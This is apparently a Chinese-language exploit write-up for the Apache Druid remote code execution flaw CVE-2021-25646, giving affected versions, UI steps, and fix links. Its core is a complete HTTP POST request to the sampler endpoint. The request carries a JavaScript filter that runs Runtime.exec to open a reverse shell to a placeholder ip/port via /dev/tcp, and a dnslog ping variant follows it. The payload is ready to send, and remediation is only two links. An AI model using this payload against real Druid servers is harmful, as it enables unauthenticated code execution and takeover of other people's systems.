Apache Druid RCE (CVE-2021-25646)

0x01 漏洞概要

Apache Druid 是用Java编写的面向列的开源分布式数据存储，旨在快速获取大量事件数据，并在数据之上提供低延迟查询。

Apache Druid 默认情况下缺乏授权认证，攻击者可以发送特制请求，利用Druid服务器上进程的特权执行任意代码。

0x01 影响范围

影响版本：

Apache Druid < 0.20.1

安全版本：

Apache Druid 0.20.1

0x03 漏洞利用

进入druid首页，点击Load data，再点击Local disk，

进入创建，在右侧表单输入：

quickstart/sutorial/

wikiticker-2015-09-12-sampled.json.gz

然后一直点next，当变为filter时抓包。

反弹shell

POST /druid/indexer/v1/sampler HTTP/1.1
Host: xxxxx
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.16; rv:85.0) Gecko/20100101 Firefox/85.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/json
Content-Length: 1044
Connection: close


{"type": "index", "spec": {"ioConfig": {"type": "index", "inputSource": {"type": "inline", "data": "{\"isRobot\":true,\"channel\":\"#x\",\"timestamp\":\"2020-12-12T12:10:21.040Z\",\"flags\":\"x\",\"isUnpatrolled\":false,\"page\":\"1\",\"diffUrl\":\"https://xxx.com\",\"added\":1,\"comment\":\"Botskapande Indonesien omdirigering\",\"commentLength\":35,\"isNew\":true,\"isMinor\":false,\"delta\":31,\"isAnonymous\":true,\"user\":\"Lsjbot\",\"deltaBucket\":0,\"deleted\":0,\"namespace\":\"Main\"}"}, "inputFormat": {"type": "json", "keepNullColumns": true}}, "dataSchema": {"dataSource": "sample", "timestampSpec": {"column": "timestamp", "format": "iso"}, "dimensionsSpec": {}, "transformSpec": {"transforms": [], "filter": {"type": "javascript", "dimension": "added", "function": "function(value) {java.lang.Runtime.getRuntime().exec('/bin/bash -c $@|bash 0 echo bash -i >&/dev/tcp/ip/port 0>&1')}", "": {"enabled": true}}}}, "type": "index", "tuningConfig": {"type": "index"}}, "samplerConfig": {"numRows": 500, "timeoutMs": 15000}}

dnslog

bin/bash -c $@|bash 0 ping xxx.dnslog.cn

0x04 漏洞修复

https://druid.apache.org/downloads.html

https://github.com/apache/druid/releases/tag/druid-0.20.1